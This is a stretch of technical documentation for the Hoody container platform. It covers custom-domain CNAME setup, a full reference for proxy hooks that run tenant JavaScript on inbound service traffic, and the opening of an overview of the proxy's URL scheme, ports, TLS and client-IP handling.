https://startup-app.node-eu.containers.hoody.icu
https://saas-platform.node-asia.containers.hoody.icu
```

**Users see your brand. Hoody handles the infrastructure.**

**Zero certificate management. Zero SSL renewal. Zero proxy configuration.**

Just a CNAME. That's it.

---

## Quick Reference

### Complete Setup Checklist

- [ ] Create container with hoody-kit enabled
- [ ] Verify container is running (`GET /api/v1/containers/{id}`)
- [ ] Create proxy alias (`POST /api/v1/proxy/aliases`)
- [ ] Test alias URL (` curl https://alias.node-us.containers.hoody.icu`)
- [ ] Add CNAME record at DNS provider
- [ ] Wait for DNS propagation (5-60 minutes)
- [ ] Test custom domain (`curl https://api.mycompany.com`)
- [ ] Verify SSL certificate (browser padlock icon)
- [ ] Configure [permissions](./permissions/) if needed

### DNS Record Format

```
Type:  CNAME
Name:  [subdomain]
Value: [alias].[serverName].containers.hoody.icu
TTL:   300-3600 (lower = faster updates, higher = better caching)
```

**Example:**
```
Type:  CNAME
Name:  api
Value: prod-api.node-us.containers.hoody.icu
TTL:   3600
```

---

## What's Next

**Secure your domains:**
- **[Configure Permissions →](./permissions/)** - Add authentication to custom domains

**Explore related topics:**
- **[Proxy Overview →](./)** - Understanding the overall proxy architecture
- **[Aliases →](./aliases/)** - Deep dive into alias management

---

> **Your domain. Hoody's infrastructure.**  
> **CNAME record. Automatic SSL.**  
> **Zero certificate management. Zero downtime deployments.**

**Professional URLs backed by containerized power.**

---

# Proxy Hooks

**Page:** foundation/proxy/hooks

[Download Raw Markdown](./foundation/proxy/hooks.md)

---

# Proxy Hooks

**Hooks let you run your own JavaScript on inbound traffic to any of your container services — before it reaches the service.** Use them for logging, auth gates, header transforms, payload scans, or "inspect-and-forward" patterns. Same cost, same deploy surface, same SDK as any other hoody-exec script.

Hooks are a tenant-owned MITM layer. Your hook script runs inside **your** `hoody-exec` (not the proxy), sees the real client IP, and can do anything a regular `hoody-exec` script can.

---

## When would I use a hook?

- **Audit log** — record every login attempt with user-agent + outcome, without modifying the login service.
- **Rate limit** — reject requests above a threshold before they hit an expensive backend.
- **Header transform** — strip sensitive headers from upstream responses, or add CSP headers uniformly.
- **Short-circuit** — return a cached or synthetic response without touching the real service.
- **Body scan** — reject uploads that fail antivirus before they land on disk.
- **Traffic mirroring** — fan out a copy of the request to a secondary analytics backend.

---

## How it works

```
Client ─► Hoody Proxy ──(match?)──► YES ──► your hoody-exec ──► your-hook-script.js
                                                                    │
                                                                    ├─ inspect / transform / short-circuit
                                                                    │
                                                                    └─ optional: forward to real upstream
                                                                                 (container-ip:service-port)
```

1. You add an entry to your container's proxy permissions file.
2. The entry says: "for service X, when the request matches these predicates, route it through *this* script in my hoody-exec."
3. On every matching request, the proxy dispatches to your hoody-exec with the original URL preserved. Your script runs, sees the request, and decides.
4. If you want to pass through to the real upstream, your script makes an HTTP call to `metadata.hook.upstream.host:port` (the authoritative address, pinned by the proxy).

The client IP is preserved end-to-end via TPROXY — your hook script can see `req.socket.remoteAddress` just like any other script.

---

## Minimal example: login audit

### 1. Add a hook in your proxy permissions

```json title="PATCH /api/v1/containers/<id>/proxy/permissions body"
{
  "project":   "<project-id>",
  "container": "<container-id>",
  "groups":    {},
  "permissions": {},
  "default":   "allow",
  "hooks": {
    "terminal": [
      {
        "match":   { "method": ["POST"], "path": "/api/login*" },
        "script":  { "path": "/login-audit" },
        "timeout": 500
      }
    ]
  }
}
```


The API requires `project`, `container`, `groups`, and `permissions` on every container permissions write — leaving `hooks` alone doesn't waive them. `groups` and `permissions` can be empty objects if you don't use group-based access control.


### 2. Deploy the hook script

```js title="login-audit.ts"
module.exports = async function (req, res, metadata, shared) {
  // Regular requests (no hook) have metadata.hook === undefined.
  if (!metadata.hook) {
    res.writeHead(200, { 'content-type': 'application/json' });
    res.end(JSON.stringify({ mode: 'regular', url: req.url }));
    return;
  }

  const { auditId, origMethod, origPath } = metadata.hook;
  const clientIp = req.headers['x-real-ip'] ?? req.socket.remoteAddress;

  // Log the attempt.
  console.log(JSON.stringify({
    auditId, clientIp, method: origMethod, path: origPath,
    ua: req.headers['user-agent'] ?? null,
  }));

  // Forward to the real login backend. `metadata.hook.forward()` handles
  // URL assembly, RFC 7230 hop-by-hop stripping, multi-value Set-Cookie,
  // byte-transparent compression passthrough, client-abort propagation,
  // and sanitized 502 on upstream unavailability.
  await metadata.hook.forward(req, res);
};
```


The helper reuses the buffered `req.rawBody` that hoody-exec's body parser preserves. Add `// @rawBody` only when you need streaming semantics: bodies over `MAX_BODY_BYTES` (default 10 MB, configurable via hoody-exec's `--max-body-size` flag) or SSE-style client-streamed requests. Without `@rawBody`, anything over the cap returns 413 before your hook runs.


---

## Helper methods — `metadata.hook.forward()` / `.fetchUpstream()` / `.pipeResponse()`

When a hook dispatch is active, `metadata.hook` carries three non-enumerable helper methods that eliminate ~25 lines of hand-rolled fetch-and-pipe boilerplate.

### `forward(req, res, overrides?) → Promise<void>`

One-shot passthrough. Reads `req`, sends to the authoritative upstream, streams the response back into `res`. Handles:

- **URL assembly** from `metadata.hook.upstream.{host,port}` + `origPath` + client query string. Byte-preserving (no `new URL()` canonicalization).
- **Request-side hop-by-hop stripping** (RFC 7230 §6.1 base set + `Connection: <token>` extension). Client's `Host` header is preserved by default (override via `overrides.headers.host`).
- **Body source**: buffered `req.rawBody` when present, else `Readable.toWeb(req)` when `// @rawBody` is set. `content-length` rules enforced.
- **Response-side hop-by-hop stripping** and multi-value `Set-Cookie` preservation via `getSetCookie()`.
- **Compression**: always `Bun.fetch({ decompress: false })` — upstream bytes forward verbatim with `content-encoding` intact.
- **Client-abort propagation**: guarded wiring on `req.close` / `req.aborted` / `res.close` so SSE/long-poll disconnects abort the upstream fetch.
- **Error translation**: `network`/`abort`/`timeout` → sanitized 502 with `x-hoody-hook-audit` header. Programming errors (`invalid-override`/`no-body`/`body-consumed`/`duplex-unsupported`/`bytes-already-sent`) rethrow so the script author sees them as real bugs.

```js
// Transparent passthrough with logging
module.exports = async function (req, res, metadata) {
  if (!metadata.hook) { res.writeHead(404); res.end(); return; }
  console.log('hook', metadata.hook.auditId, metadata.hook.origMethod, metadata.hook.origPath);
  await metadata.hook.forward(req, res);
};
```

### `fetchUpstream(req, overrides?) → Promise`

Non-consuming fetch for inspect-then-forward. Returns a standard Fetch API `Response`; caller inspects/mutates/pipes. Does NOT write to `res`.

```js
// Auth gate — inspect upstream, rewrite response on reject
module.exports = async function (req, res, metadata) {
  if (!metadata.hook) { res.writeHead(404); res.end(); return; }
  try {
    const up = await metadata.hook.fetchUpstream(req);
    if (up.status === 401) {
      res.writeHead(401, { 'content-type': 'text/plain' });
      res.end('upstream rejected token'); return;
    }
    res.setHeader('x-hoody-hook-audit', metadata.hook.auditId);
    await metadata.hook.pipeResponse(up, res, { method: req.method });
  } catch (e) {
    if (e instanceof metadata.hook.HookUpstreamError) {
      res.writeHead(502); res.end('upstream unavailable');
    } else throw e;
  }
};
```

### `pipeResponse(upstream, res, { method? }?) → Promise<void>`

Piping half of `forward()` exposed for inspect-then-forward. Handles status, response-side hop-by-hop, multi-value `Set-Cookie`, `transfer-encoding`/`content-length` reconciliation (RFC 7230 §3.3.3), HEAD/204/304 no-body (pass `method: 'HEAD'` for HEAD suppression). Client-close during streaming is handled as silent cancellation. Mid-stream upstream errors throw `HookUpstreamError('stream-aborted')`.

### Overrides

```ts
interface HookUpstreamOverrides {
  method?: string;         // RFC 7230 token; wire case preserved
  pathAndQuery?: string;   // byte-preserving; rejects # / .. / \ / whitespace / control / absolute-form
  host?: string;           // IPv4 / DNS label; leading-zero octets rejected (octal-parse SSRF guard)
  port?: number;           // 1..65535
  headers?: Record<string, string | string[] | null>;  // `null` deletes; validates name + value
  body?: BodyInit | null;  // `null` drops body
  signal?: AbortSignal;    // merged with dispatcher abort + timeoutMs
  timeoutMs?: number;      // 1..86_400_000 (24h)
  onUpstreamError?: (err: HookUpstreamError) => { status; headers?; body?; };  // forward() only
}
```

### `HookUpstreamError`

User scripts run in the host realm via `new Function()`, so `HookUpstreamError` is NOT reachable as a free identifier. Use `metadata.hook.HookUpstreamError` for `instanceof` branching, or rely on the realm-independent surface: `err.name === 'HookUpstreamError'` + `err.kind`.

| `kind` | When it fires |
|---|---|
| `network` | Upstream TCP error (ECONNREFUSED, reset, DNS) |
| `abort` | Client-abort propagated via dispatcher signal or `overrides.signal` |
| `timeout` | `overrides.timeoutMs` fired (Bun `TimeoutError` properly classified) |
| `invalid-override` | Bad `host` / `port` / `pathAndQuery` / `method` / headers / `timeoutMs` / `signal` / `onUpstreamError` |
| `bytes-already-sent` | `pipeResponse` called with `res.headersSent` already true |
| `stream-aborted` | Upstream read failed mid-stream (while client still connected) |
| `no-body` | Non-`@rawBody` script consumed `req` without preserving `rawBody`, or pre.js drained the `@rawBody` stream |
| `body-consumed` | `fetchUpstream` called twice on a streamed `@rawBody` without `overrides.body` |
| `duplex-unsupported` | Runtime rejected `duplex: 'half'` (Bun < 1.3) |

---

## Matrix entry reference

### `hooks.<service>` — per-service array (max 8 per service, 32 per file)

```json
{
  "hooks": {
    "terminal": [ { ... }, { ... } ],
    "files":    [ { ... } ],
    "exec":     [ { ... } ]
  }
}
```

Allowed services are the tenant-reachable ones your hoody-kit exposes via SNI — in current builds that's: `terminal`, `files`, `notes`, `run`, `curl`, `watch`, `cron`, `pipe`, `sqlite`, `browser`, `notifications`, `tunnel`, `daemon`, `code`, `display`, `exec`. Custom hostname aliases resolve to one of these services at the proxy edge; they are not a separate dispatchable surface. Reject-listed: `logs`, `proxy`, `workspaces` (internal infrastructure — the API refuses to persist hooks for them, and the proxy additionally refuses to dispatch them even if an on-disk matrix file is tampered to include them).

### `match` — predicate (AND-joined)

```json
{
  "match": {
    "method":  ["POST", "PUT"],            // or "*" for any-except-OPTIONS; single string also OK
    "path":    "/api/*",                    // glob: `*` matches one segment; trailing `*` matches any suffix
    "headers": { "X-Tenant": "alice" }      // optional: all keys must match exactly (keys case-insensitive)
  }
}
```

- `method` defaults to `"*"`. `"*"` does NOT match `OPTIONS` — CORS preflight is skipped by default. Include `OPTIONS` explicitly if you want to hook preflights.
- `path` defaults to `"*"` (any).
- Requests with `Upgrade: websocket` are never hook-routed — WebSocket and hooks are mutually exclusive.
- Rules evaluate in order. **First match wins.**

### `script` — target (one of your hoody-exec scripts)

```json
{
  "script": {
    "subdomain": "myapp",       // optional, LOWERCASE alphanum 1-64 chars: /^[a-z0-9]{1,64}$/ — or "default"
    "execId":    "obs",         // optional, LOWERCASE alphanum 1-64 chars: /^[a-z0-9]{1,64}$/
    "path":      "/login-audit" // required, exact path matching /^\/[A-Za-z0-9._\-\/]{0,256}$/ — uppercase allowed; no `..` or `.` dot-segments, no `//`, no NUL, no wildcards, no percent-encoding
  }
}
```

Coordinates match your hoody-exec script addressing. A hoody-exec script's public URL has hostname `[<subdomain>.]<projectId>-<containerId>[-exec-<execId>].<node>.<domain>` with the script path served at `<path>` — both the `<subdomain>.` prefix and the `-exec-<execId>` segment are optional. The three `script` fields map to the same coordinates: `subdomain` (optional), `execId` (optional), `path` (required). Specifically:

- `subdomain` and `execId` are **lowercase alphanum only** (to match the public SNI parser which lowercases the hostname before matching).
- `script.path` **allows** uppercase ASCII letters but **rejects** `*`, `%`, spaces, `:`, non-ASCII, and path-traversal segments.
- `match.path` is a glob (allows `*`) and has its own charset — see below.


If your hook target script declares a `// @token` directive, the same token gate runs for hook invocations as for regular requests. A hook request without the token gets `401` before your hook logic runs. If you want the hook dispatch to bypass the token check, point `script.path` at a different (token-less) script, or handle the token inside a router.


### `timeout` — soft client-visible deadline

```json
{ "timeout": 500 }
```

Milliseconds, clamped to `[1, 30000]`. Default **500 ms**. This is a soft, client-visible deadline enforced inside hoody-exec — it sits well inside nginx's much-longer upstream read timeout (`proxy_read_timeout 86400s` in the current edge config), so the hook deadline always fires first. The main reason to keep it tight is tenant UX: a 30s timeout makes a slow hook feel like a broken service.

**What the client sees when the deadline fires depends on whether your script has already started writing:**

- If headers haven't been sent → client gets `504 hook timeout` (JSON body).
- If headers/body streaming has started → hoody-exec destroys the response socket. The client sees a truncated response or a connection reset. There is no trailing 504 — the TCP-level abort is the signal.

**What happens to your script when the deadline fires:**

JavaScript execution is NOT cancelled. Your script keeps running until it naturally returns. When it later tries to `res.write`/`res.end` on the destroyed socket, those calls error out (swallowed by hoody-exec so the worker stays healthy). The practical effect: long-running I/O you kicked off (e.g. an in-flight `await fetch(...)`) proceeds to completion and its response is discarded. Don't rely on cooperative cancellation at the deadline — design your hook to fit well inside the timeout.

---

## What your hook script sees

When invoked as a hook, `metadata.hook` is populated:

```ts
metadata.hook = {
  auditId:    "550e8400-e29b-41d4-a716-446655440000",  // UUID, or "none" if audit rate-limited OR audit-gate blocked OR DB write failed
  origMethod: "POST",                // client's original method
  origPath:   "/api/login",          // client's original path (query stripped)
  service:    "terminal",            // the service the client targeted
  upstream:   {
    host: "192.168.1.42",            // container IP — authoritative HOST for forwarding
    port: 76                         // REAL service port (not hoody-exec's)
  }
};
```

`upstream.host:port` gives you the **host and port** of the real service. It does NOT carry the full routing envelope that non-hook requests would resolve to — things like service-specific query arg injection, path rewrites, or explicit `https` protocol are NOT propagated into `metadata.hook.upstream`. Use it for the common case of "forward the request as-is to the real service"; if your hook needs to replicate the full non-hook routing, fetch the service's oracle response yourself or forward via an internal endpoint your tenant owns.

For a non-hook invocation of the same script, `metadata.hook` is `undefined` — one script can serve both regular traffic and hook dispatches.

`req.url` is the client's original URL (path + query). `req.headers` is the client's headers with `X-Hoody-Hook-*` stripped — but note the edge proxy also injects/rewrites the standard forwarding headers (`Host`, `X-Real-IP`, `X-Forwarded-For`, `X-Forwarded-Proto`) the same way it does for non-hook traffic. Use `X-Real-IP` for the real client IP.

---

## Security model

- **Hook scripts run in your own `hoody-exec`.** They see only your tenant's traffic. The proxy cannot dispatch another tenant's request to your hook.
- **Your script runs with tenant privileges.** A hook can't do anything a `hoody-exec` script couldn't already do — there's no sandbox escape risk beyond what already exists.
- **The proxy prevents metadata forgery.** Clients cannot forge `X-Hoody-Hook-*` headers — they are swept by the proxy before the request reaches `hoody-exec`, even on direct traffic to the `exec` service.
- **Fail-closed by default.** A hook error (exception, timeout, 404 on the target script) returns an error to the client — there is no `fail-open` fallback. If you want "optional" hooks, catch errors inside your script and return success.
- **Audit trail is best-effort.** The proxy tries to write one audit row per matched hook dispatch with `op: hook-dispatch`, carrying `projectId`, `containerId`, `groupName`, `service`, `scriptRef`, `origMethod`, `origPath`. The hook still dispatches (with `metadata.hook.auditId === 'none'`) if the audit subsystem can't write the row — specifically on (a) the per-scope SNI rate-limit bucket being exhausted, (b) the audit-gate being in a `blocked` state, or (c) a DB write exception. Audit is not on the hot-path gating routing. Don't rely on the audit log as a source of truth for every hook invocation.

---

## Limitations (v1)

- **Container-level only.** Project-level `hooks` is rejected by the API.
- **WebSocket upgrades skip hooks.** Use a REST endpoint if you need hooking.
- **Long-lived SSE/streaming** — bounded by the hook timeout (max 30s). Streams that outlive the timeout get truncated.
- **Hard timeout, no JS cancellation.** At the deadline the client sees a 504 (if headers haven't been sent yet) or a truncated/reset response (if headers are already flying). Your script itself keeps running until it naturally completes — its response just gets discarded. Cooperate with the deadline by yielding.
- **Soft cap of 8 hooks per service, 32 per file.** Design for first-match-wins; don't rely on iterating many fine-grained rules.

---

## Recursion — don't fetch the public domain

Your hook forwards via `metadata.hook.upstream.host:port` — the container IP, directly. **Never** fetch the public SNI (`https://<projectId>-<containerId>-terminal-1.<domain>/...`) from inside a hook — that routes back through the proxy and can re-trigger the hook, potentially infinitely.

The proxy enforces a timeout budget on the outermost client request, so unbounded recursion is self-limiting, but it's still a waste of container resources. Use `metadata.hook.upstream` as the only upstream address.

---

## API surface

Hooks are first-class resources with their own CRUD endpoints. You can also manage them in bulk by writing the permissions document, which embeds `hooks` as a field.

### Dedicated hook endpoints

| Verb | Path | What it does |
|---|---|---|
| `GET`    | `/api/v1/containers/{id}/proxy/hooks`                             | List all hooks grouped by service |
| `GET`    | `/api/v1/containers/{id}/proxy/hooks/{service}`                   | List hooks for one service |
| `POST`   | `/api/v1/containers/{id}/proxy/hooks/{service}`                   | Append or insert a hook |
| `DELETE` | `/api/v1/containers/{id}/proxy/hooks/{service}`                   | Clear all hooks for a service |
| `GET`    | `/api/v1/containers/{id}/proxy/hooks/{service}/{hookId}`          | Get a single hook |
| `PATCH`  | `/api/v1/containers/{id}/proxy/hooks/{service}/{hookId}`          | Replace a hook in place |
| `DELETE` | `/api/v1/containers/{id}/proxy/hooks/{service}/{hookId}`          | Remove a hook |
| `PATCH`  | `/api/v1/containers/{id}/proxy/hooks/{service}/{hookId}/position` | Move a hook to a new position |

All mutating endpoints require `If-Match: file:v` (ETag from the last read) for optimistic concurrency.

### Via the Hoody CLI

Read-only calls don't need an ETag. Mutating calls (`create`, `update`, `delete`, `clear-service`, `move`) require `--if-match file:v` — fetch the current version with `list` or `get` first.

Add a single hook:

```bash
hoody containers proxy hooks create <container-id> terminal \
    --match '{"method":["POST"],"path":"/api/login*"}' \
    --script '{"path":"/login-audit"}' \
    --timeout 500 \
    --if-match file:v1
```

List, get, update, move, delete:

```bash
hoody containers proxy hooks list <container-id>
hoody containers proxy hooks list-service <container-id> terminal
hoody containers proxy hooks get <container-id> terminal <hook-id>
hoody containers proxy hooks update <container-id> terminal <hook-id> \
    --match '{"method":["POST","PUT"],"path":"/api/login*"}' \
    --script '{"path":"/login-audit"}' \
    --timeout 1000 \
    --if-match file:v2
hoody containers proxy hooks move <container-id> terminal <hook-id> --position 0 --if-match file:v3
hoody containers proxy hooks delete <container-id> terminal <hook-id> --if-match file:v4
hoody containers proxy hooks clear-service <container-id> terminal --if-match file:v5
```

Bulk-write the whole permissions document (hooks inline):

```bash
hoody containers proxy permissions replace <container-id> \
    --default allow \
    --hooks '{"terminal":[{"match":{"method":["POST"]},"script":{"path":"/login-audit"}}]}' \
    --if-match file:v5
```

### Via the SDK (TypeScript)

Targeted hook CRUD (methods live under `client.api.proxyHooks`):

```ts
// Add a hook
await client.api.proxyHooks.addContainerProxyHook(containerId, 'terminal', {
  match:   { method: ["POST"], path: "/api/login*" },
  script:  { path: "/login-audit" },
  timeout: 500,
}, { ifMatch: 'file:v1' });

// List hooks for a service
const { data } = await client.api.proxyHooks.listContainerProxyServiceHooks(containerId, 'terminal');

// Move a hook to the front
await client.api.proxyHooks.moveContainerProxyHook(containerId, 'terminal', hookId, { position: 0 }, { ifMatch: 'file:v2' });
```

Bulk replace via the permissions document:

```ts
await client.api.proxyPermissionsContainer.replace(containerId, {
  project: projectId,
  container: containerId,
  groups: {},
  permissions: {},
  default: "allow",
  hooks: {
    terminal: [
      {
        match:   { method: ["POST"], path: "/api/login*" },
        script:  { path: "/login-audit" },
        timeout: 500,
      },
    ],
  },
}, { ifMatch: 'file:v5' });
```

---

## Further reading

- [Proxy Permissions](/foundation/proxy/permissions/) — the file your hooks live in
- [API: Script Management](/api/exec/script-management/) — how to deploy the script your hook references
- [API: Proxy Permissions](/api/proxy-permissions/) — full endpoint reference


Hook requests look normal in logs — the URL is the client's original URL, not a synthetic `/hooks/...` route. Check `metadata.hook != null` inside your script to know when it's invoked as a hook. Use `metadata.hook.auditId` as your correlation key for tracing a dispatch.

---

# Hoody Proxy

**Page:** foundation/proxy/index

[Download Raw Markdown](./foundation/proxy/index.md)

---

# Hoody Proxy

**The Hoody Proxy is the foundational infrastructure that makes "everything is a URL" possible.**

It's not just about web servers. Every single container feature—terminals, displays, files, databases, browsers, scripts—flows through this proxy. This unified approach transforms isolated containers into a web-native computing fabric.

---

## API Endpoints Summary

**Official Technical Reference:**

The Hoody Proxy is infrastructure (runs on your server), not API endpoints you call directly. However, you configure it via the Hoody API:

**Proxy Configuration:**
- **[Proxy Aliases](/api/proxy-aliases/)** - Create custom domains (`my-app.{serverName}.containers.hoody.icu`)
- **[Proxy Permissions (Project)](/api/proxy-permissions/)** - Project-level access control
- **[Proxy Permissions (Container)](/api/proxy-permissions/)** - Container-level overrides

**Related Infrastructure:**
- **[Container Network](/api/container-network/)** - Configure proxy/VPN routing
- **[Container Firewall](/api/container-firewall/)** - Network-level rules
- **[Container Operations](/api/container-operations/)** - Start/stop containers

The proxy infrastructure automatically handles TLS, routing, and IP preservation—you just configure aliases and permissions via the API.

---

## What the Hoody Proxy Actually Is

**Physical Reality:** The Hoody Proxy runs as a container on YOUR bare metal server—the same machine hosting your containers.

**What it does:**
- ✅ Routes ALL traffic to container services (terminal, display, files, exec, sqlite, browser, workspaces, code, curl, notifications, daemon, cron, pipe, notes, watch, run)
- ✅ Terminates TLS for every connection (automatic HTTPS everywhere)
- ✅ Preserves real client IPs (no x-forwarded-for headers needed)
- ✅ Generates automatic URLs for all services
- ✅ Enforces authentication and permissions
- ✅ Handles modern protocols (HTTP/1.1, HTTP/2, HTTP/3, WebSocket)

**What it runs on:** A dedicated container on your server with access to:
- Host network stack (for IP preservation)
- Container networking (for service routing)
- TLS certificate management
- Permission configuration files

---

## Universal Gateway to Everything

**Every container capability becomes a URL through the proxy:**



**The breakthrough:** You're not just hosting websites. Your terminal sessions, desktop environments, file systems, databases—everything becomes web-native through automatic URL generation.

---

## The Automatic URL Pattern

**When you spawn a container, it immediately gets URLs for all services:**

<div style="
  background: #f8f8f8;
  border: 1px solid #ddd;
  border-radius: 4px;
  padding: 16px 20px;
  font-family: var(--sl-font-mono);
  font-size: 0.75rem;
  line-height: 1.8;
  margin: 1.5rem 0;
  overflow-x: auto;
">

```
https://{projectId}-{containerId}-{service}-{instance}.{serverName}.containers.hoody.icu
       └────┬────┘ └────┬─────┘ └───┬───┘ └───┬───┘ └─────┬─────┘
         Project    Container   Service  Instance   Your Server
         (24-char)  (24-char)   Name     Number     Location
```

**Example for one container:**

```
Terminal:   https://67e89abc123def456789abcd-890abcdef12345678901cdef-terminal-1.node-us.containers.hoody.icu
Display:    https://67e89abc123def456789abcd-890abcdef12345678901cdef-display-1.node-us.containers.hoody.icu
Files:      https://67e89abc123def456789abcd-890abcdef12345678901cdef-files-1.node-us.containers.hoody.icu
SQLite:     https://67e89abc123def456789abcd-890abcdef12345678901cdef-sqlite-1.node-us.containers.hoody.icu
Exec:       https://67e89abc123def456789abcd-890abcdef12345678901cdef-exec-1.node-us.containers.hoody.icu
Browser:    https://67e89abc123def456789abcd-890abcdef12345678901cdef-browser-1.node-us.containers.hoody.icu
Workspaces: https://67e89abc123def456789abcd-890abcdef12345678901cdef-workspaces-1.node-us.containers.hoody.icu
Code:       https://67e89abc123def456789abcd-890abcdef12345678901cdef-code-1.node-us.containers.hoody.icu
cURL:       https://67e89abc123def456789abcd-890abcdef12345678901cdef-curl-1.node-us.containers.hoody.icu
Notify:     https://67e89abc123def456789abcd-890abcdef12345678901cdef-n-1.node-us.containers.hoody.icu
Daemon:     https://67e89abc123def456789abcd-890abcdef12345678901cdef-daemon-1.node-us.containers.hoody.icu
Cron:       https://67e89abc123def456789abcd-890abcdef12345678901cdef-cron-1.node-us.containers.hoody.icu
Pipe:       https://67e89abc123def456789abcd-890abcdef12345678901cdef-pipe-1.node-us.containers.hoody.icu
Notes:      https://67e89abc123def456789abcd-890abcdef12345678901cdef-notes-1.node-us.containers.hoody.icu
Watch:      https://67e89abc123def456789abcd-890abcdef12345678901cdef-watch-1.node-us.containers.hoody.icu
Run:        https://67e89abc123def456789abcd-890abcdef12345678901cdef-run-1.node-us.containers.hoody.icu
```


**One pattern, every service.** Change `terminal` to `display` to switch from command line to desktop. Change `1` to `2` for another instance. Same container, different capabilities—all accessible through predictable URLs.


</div>

**No DNS configuration needed.** The proxy automatically makes services accessible.

---

## How Routing Works

**Request flow for every container service:**

```
User/AI/Device
      ↓
https://67e89abc...890abc-terminal-1.node-us.containers.hoody.icu/execute
      ↓
Hoody Proxy Container (on your server)
  ├─ Terminates TLS (port 443)
  ├─ Parses URL: projectId, containerId, service=terminal, instance=1
  ├─ Validates authentication (if permissions configured)
  ├─ Preserves real client IP
  └─ Routes to internal service
      ↓
Container's terminal service (localhost:76)
      ↓
Response (through proxy, back to client)
```

**Key insight:** External world sees HTTPS on port 443. Internal services run on any port. Proxy handles the mapping automatically.

---

## Reserved Ports & HTTP Service Access

**The proxy reserves specific ports for Hoody Kit services.** When you run your own web servers or applications, use any other port.

### Reserved Ports (Do Not Use)

These internal ports are reserved for Hoody Kit services (defaults; operator-configurable via container env vars):

```
76     - Hoody Terminal (ttyd)
75     - Hoody Exec
5      - Hoody SQLite
4      - Hoody cURL
3998   - Hoody Display (Xpra HTML server; per-display from 4000)
3999   - Hoody Notifications
3971   - Hoody Code (code-server; instances from 60000)
23333  - Hoody Browser
+ Several others for run, cron, watch, pipe, notes, tunnel, daemon, agent
```

**Use any other port** for your applications: 3000, 5000, 8000, 8888, 9000, etc. — none of these collide with the Hoody Kit defaults above.

### Accessing Your Web Servers (http Program)

**When you run a web server in a container, access it via the `http` program:**

**Example: Apache2 on port 80**

```bash
# Install Apache2 in container
apt-get install apache2

# Apache runs on port 80 by default
# Access via http program
https://67e89abc...890abc-http-80.node-us.containers.hoody.icu
```

**Example: Node.js API on port 3000**

```bash
# Your Node.js app
app.listen(3000, () => {
  console.log('API running on port 3000');
});

# Access via http program
https://67e89abc...890abc-http-3000.node-us.containers.hoody.icu
```

**Example: Multiple web services in one container**

```bash
# Frontend on port 3000
# Backend on port 5000
# Admin panel on port 8000

# Access each separately
https://67e89abc...890abc-http-3000.node-us.containers.hoody.icu  (frontend)
https://67e89abc...890abc-http-5000.node-us.containers.hoody.icu  (backend)
https://67e89abc...890abc-http-8000.node-us.containers.hoody.icu  (admin)
```

**The pattern:** `http-{port}` in the URL routes to your service on that port.

**All accessed via HTTPS (port 443) externally.** The proxy translates to your internal port automatically.

---

## Always-On HTTPS

**Every connection is encrypted. Zero configuration required.**

### Automatic TLS

- ✅ **Wildcard certificates** (`*.containers.hoody.icu`) protect all service URLs
- ✅ **Automatic provisioning** - certificates managed by Hoody
- ✅ **Automatic renewal** - no manual intervention
- ✅ **TLS 1.2+** - modern encryption standards
- ✅ **HTTPS enforcement** - HTTP automatically redirects to HTTPS

### Private Endpoints

**Your container URLs never appear in public Certificate Transparency logs.**

Standard Let's Encrypt certificates are public—anyone can see what domains you're hosting. Hoody uses wildcard certificates (`*.containers.hoody.icu`), so your specific container URLs remain private.

**Unguessable URLs, not a permission boundary:**
- 24-character hex container IDs = 2^96 possible combinations
- Even knowing your project ID, guessing a container ID: billions of years at 1B attempts/second
- URLs are effectively unguessable

The default proxy permission for a newly created container is `allow` — the URL is the only access gate until you add proxy permissions. Treat the URL like a bearer credential: anyone it leaks to (browser history, chat logs, referer headers, screenshots) can hit the container directly. For real access control, set [proxy permissions](/foundation/proxy/permissions/) instead of relying on URL secrecy.

---

## Real Client IPs, Zero Configuration

**This is unique to Hoody:** Applications see the real client IP address directly in `remoteAddr`—no special configuration, no header parsing.

### How It Works

Most proxies hide the client IP behind the proxy's IP, requiring applications to parse `X-Forwarded-For` headers. This breaks:
- Legacy applications (don't know about proxy headers)
- Standard firewalls (can't filter by real IP)
- Analytics tools (see proxy IP instead of user IP)

**Hoody solves this at the infrastructure level:**

We run a **TPROXY-based** edge on the host that preserves the original client connection information end-to-end. When traffic reaches your container, it sees the true client IP as if there were no proxy at all.

**What this means:**


  
    ```javascript
    // Any application, any language
    app.get('/', (req, res) => {
      const clientIP = req.connection.remoteAddress;
      console.log(`Request from: ${clientIP}`);
      // Shows: 203.0.113.50 (real client)
      // NOT: 10.0.0.1 (proxy IP)
    });
    ```
  
  
    ```bash
    # Use iptables with real client IPs
    iptables -A INPUT -s 203.0.113.0/24 -j ACCEPT
    iptables -A INPUT -s 198.51.100.0/24 -j DROP
    
    # Works perfectly - sees real IPs
    ```
  
  
    ```php
    // Old PHP code (no proxy awareness)
    <?php
    $client_ip = $_SERVER['REMOTE_ADDR'];
    // Works correctly - real client IP
    ?>
    ```
  


**It just works.** No configuration. No code changes. No proxy headers.

---

## Modern Protocol Support

**The proxy handles modern web protocols automatically:**

### HTTP/2 & HTTP/3

- ✅ **HTTP/1.1** - Universal compatibility
- ✅ **HTTP/2** - Multiplexing for faster connections
- ✅ **HTTP/3** (QUIC) - Low-latency over UDP
- ✅ **Automatic negotiation** - Client gets best protocol it supports

### WebSocket

- ✅ **WebSocket** - For terminal sessions, real-time updates, live displays
- ✅ **Bi-directional** - Full-duplex communication
- ✅ **Multiplayer support** - Multiple WebSocket connections to same service

**Example:** Hoody Terminal uses WebSocket through the proxy for real-time command execution. Multiple users can connect to the same terminal URL, each with their own WebSocket—multiplayer by default.

### Protocol Limitations


**UDP is not supported** through the Hoody Proxy, with the exception of HTTP/3 (QUIC).

- ❌ UDP protocols (DNS, VoIP, game servers, custom UDP services)
- ✅ HTTP/3 over QUIC (UDP-based HTTP, fully supported)
- ✅ All TCP-based protocols (HTTP, HTTPS, WebSocket)

If your application requires UDP, use [Container Firewall](/foundation/networking/firewall/) to configure direct access, or access containers via [SSH](/foundation/networking/ssh/) which bypasses the proxy.


---

## Service Instance Support

**Containers can run multiple instances of each service:**

<div style="margin: 1.5rem 0; padding: 1rem 1.25rem; background: #f8f8f8; border: 1px solid #ddd; border-radius: 4px;">

**One Container, Multiple Service Instances:**

```
https://67e89abc...890abc-terminal-1.node-us.containers.hoody.icu
https://67e89abc...890abc-terminal-2.node-us.containers.hoody.icu
https://67e89abc...890abc-terminal-3.node-us.containers.hoody.icu

https://67e89abc...890abc-display-1.node-us.containers.hoody.icu
https://67e89abc...890abc-display-2.node-us.containers.hoody.icu

https://67e89abc...890abc-sqlite-1.node-us.containers.hoody.icu
https://67e89abc...890abc-sqlite-2.node-us.containers.hoody.icu
```

